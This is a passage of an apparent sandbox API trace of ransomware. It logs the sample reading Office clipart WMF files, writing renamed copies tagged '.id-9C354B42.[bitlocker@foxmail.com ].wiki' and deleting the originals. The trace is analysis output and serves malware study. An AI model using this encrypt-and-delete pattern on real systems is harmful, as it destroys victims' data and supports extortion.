lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.340] lstrlenW (lpString=".zip") returned 4 [0186.340] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.340] lstrlenW (lpString=".rar") returned 4 [0186.340] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.340] lstrlenW (lpString=".bz2") returned 4 [0186.340] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.340] lstrlenW (lpString=".7z") returned 3 [0186.340] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.340] lstrlenW (lpString=".dbf") returned 4 [0186.340] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.340] lstrlenW (lpString=".1cd") returned 4 [0186.340] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned 63 [0186.340] lstrlenW (lpString=".jpg") returned 4 [0186.340] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.340] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.341] lstrlenW (lpString="BS01637_.WMF") returned 12 [0186.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0186.341] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3948) returned 1 [0186.341] CloseHandle (hObject=0x208) returned 1 [0186.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x20 [0186.341] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0186.341] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.341] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0186.342] GetLastError () returned 0x0 [0186.342] ReadFile (in: hFile=0x208, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xf6c, lpOverlapped=0x0) returned 1 [0186.343] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xf70, lpOverlapped=0x0) returned 1 [0186.344] ReadFile (in: hFile=0x208, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.344] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.345] SetEndOfFile (hFile=0x20c) returned 1 [0186.345] CloseHandle (hObject=0x20c) returned 1 [0186.345] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.345] SetEndOfFile (hFile=0x208) returned 1 [0186.346] CloseHandle (hObject=0x208) returned 1 [0186.346] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.346] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf")) returned 1 [0186.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.346] lstrlenW (lpString=".doc") returned 4 [0186.346] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.346] lstrlenW (lpString=".docx") returned 5 [0186.346] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.346] lstrlenW (lpString=".pdf") returned 4 [0186.346] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.346] lstrlenW (lpString=".xls") returned 4 [0186.346] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.346] lstrlenW (lpString=".xlsx") returned 5 [0186.346] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.346] lstrlenW (lpString=".ppt") returned 4 [0186.346] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.346] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.346] lstrlenW (lpString=".zip") returned 4 [0186.346] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.347] lstrlenW (lpString=".rar") returned 4 [0186.347] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.347] lstrlenW (lpString=".bz2") returned 4 [0186.347] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.347] lstrlenW (lpString=".7z") returned 3 [0186.347] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.347] lstrlenW (lpString=".dbf") returned 4 [0186.347] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.347] lstrlenW (lpString=".1cd") returned 4 [0186.347] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.347] lstrlenW (lpString=".jpg") returned 4 [0186.347] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.347] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.347] lstrlenW (lpString=".doc") returned 4 [0186.347] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.347] lstrlenW (lpString=".docx") returned 5 [0186.347] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.347] lstrlenW (lpString=".pdf") returned 4 [0186.347] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.347] lstrlenW (lpString=".xls") returned 4 [0186.347] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.347] lstrlenW (lpString=".xlsx") returned 5 [0186.347] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.347] lstrlenW (lpString=".ppt") returned 4 [0186.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.348] lstrlenW (lpString=".zip") returned 4 [0186.348] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.348] lstrlenW (lpString=".rar") returned 4 [0186.348] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.348] lstrlenW (lpString=".bz2") returned 4 [0186.348] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.348] lstrlenW (lpString=".7z") returned 3 [0186.348] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.348] lstrlenW (lpString=".dbf") returned 4 [0186.348] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.348] lstrlenW (lpString=".1cd") returned 4 [0186.348] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 63 [0186.348] lstrlenW (lpString=".jpg") returned 4 [0186.348] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.348] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.348] lstrlenW (lpString="BS01639_.WMF") returned 12 [0186.348] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0186.350] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=4236) returned 1 [0186.350] CloseHandle (hObject=0x208) returned 1 [0186.350] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x20 [0186.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0186.351] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.351] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.351] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0186.351] GetLastError () returned 0x0 [0186.351] ReadFile (in: hFile=0x208, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x108c, lpOverlapped=0x0) returned 1 [0186.353] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1090, lpOverlapped=0x0) returned 1 [0186.354] ReadFile (in: hFile=0x208, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.354] WriteFile (in: hFile=0x20c, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0186.354] SetEndOfFile (hFile=0x20c) returned 1 [0186.354] CloseHandle (hObject=0x20c) returned 1 [0186.354] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.354] SetEndOfFile (hFile=0x208) returned 1 [0186.355] CloseHandle (hObject=0x208) returned 1 [0186.355] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.355] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf")) returned 1 [0186.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.495] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.495] lstrlenW (lpString=".doc") returned 4 [0186.495] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.495] lstrlenW (lpString=".docx") returned 5 [0186.495] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.495] lstrlenW (lpString=".pdf") returned 4 [0186.495] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.495] lstrlenW (lpString=".xls") returned 4 [0186.495] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.495] lstrlenW (lpString=".xlsx") returned 5 [0186.496] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.496] lstrlenW (lpString=".ppt") returned 4 [0186.496] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.496] lstrlenW (lpString=".zip") returned 4 [0186.496] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.496] lstrlenW (lpString=".rar") returned 4 [0186.496] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.496] lstrlenW (lpString=".bz2") returned 4 [0186.496] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.496] lstrlenW (lpString=".7z") returned 3 [0186.496] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.496] lstrlenW (lpString=".dbf") returned 4 [0186.496] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.496] lstrlenW (lpString=".1cd") returned 4 [0186.496] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.496] lstrlenW (lpString=".jpg") returned 4 [0186.496] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.496] lstrlenW (lpString=".doc") returned 4 [0186.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.496] lstrlenW (lpString=".docx") returned 5 [0186.496] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0186.496] lstrlenW (lpString=".pdf") returned 4 [0186.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.496] lstrlenW (lpString=".xls") returned 4 [0186.496] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.496] lstrlenW (lpString=".xlsx") returned 5 [0186.497] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0186.497] lstrlenW (lpString=".ppt") returned 4 [0186.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.497] lstrlenW (lpString=".zip") returned 4 [0186.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.497] lstrlenW (lpString=".rar") returned 4 [0186.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.497] lstrlenW (lpString=".bz2") returned 4 [0186.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.497] lstrlenW (lpString=".7z") returned 3 [0186.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.497] lstrlenW (lpString=".dbf") returned 4 [0186.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.497] lstrlenW (lpString=".1cd") returned 4 [0186.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0186.497] lstrlenW (lpString=".jpg") returned 4 [0186.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.497] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0186.497] lstrlenW (lpString="CG1606.WMF") returned 10 [0186.497] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.796] GetFileSizeEx (in: hFile=0x1e4, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=3564) returned 1 [0186.796] CloseHandle (hObject=0x1e4) returned 1 [0186.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 0x20 [0186.796] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0186.796] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0186.807] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.816] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.816] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0186.817] GetLastError () returned 0x0 [0186.824] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xdec, lpOverlapped=0x0) returned 1 [0186.826] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xdf0, lpOverlapped=0x0) returned 1 [0186.827] ReadFile (in: hFile=0x1e4, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0186.827] WriteFile (in: hFile=0x1c8, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0186.827] SetEndOfFile (hFile=0x1c8) returned 1 [0186.827] CloseHandle (hObject=0x1c8) returned 1 [0186.827] SetFilePointerEx (in: hFile=0x1e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0186.828] SetEndOfFile (hFile=0x1e4) returned 1 [0186.828] CloseHandle (hObject=0x1e4) returned 1 [0186.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0186.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf")) returned 1 [0186.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.829] lstrlenW (lpString=".doc") returned 4 [0186.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.829] lstrlenW (lpString=".docx") returned 5 [0186.829] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0186.829] lstrlenW (lpString=".pdf") returned 4 [0186.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.829] lstrlenW (lpString=".xls") returned 4 [0186.829] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.829] lstrlenW (lpString=".xlsx") returned 5 [0186.829] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0186.829] lstrlenW (lpString=".ppt") returned 4 [0186.829] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.829] lstrlenW (lpString=".zip") returned 4 [0186.829] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.829] lstrlenW (lpString=".rar") returned 4 [0186.829] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.829] lstrlenW (lpString=".bz2") returned 4 [0186.829] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.829] lstrlenW (lpString=".7z") returned 3 [0186.829] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.829] lstrlenW (lpString=".dbf") returned 4 [0186.829] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.830] lstrlenW (lpString=".1cd") returned 4 [0186.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.830] lstrlenW (lpString=".jpg") returned 4 [0186.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.830] lstrlenW (lpString=".doc") returned 4 [0186.830] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString=".docx") returned 5 [0186.830] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0186.830] lstrlenW (lpString=".pdf") returned 4 [0186.830] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString=".xls") returned 4 [0186.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0186.830] lstrlenW (lpString=".xlsx") returned 5 [0186.830] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0186.830] lstrlenW (lpString=".ppt") returned 4 [0186.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0186.830] lstrlenW (lpString=".zip") returned 4 [0186.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0186.830] lstrlenW (lpString=".rar") returned 4 [0186.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString=".bz2") returned 4 [0186.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0186.830] lstrlenW (lpString=".7z") returned 3 [0186.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0186.830] 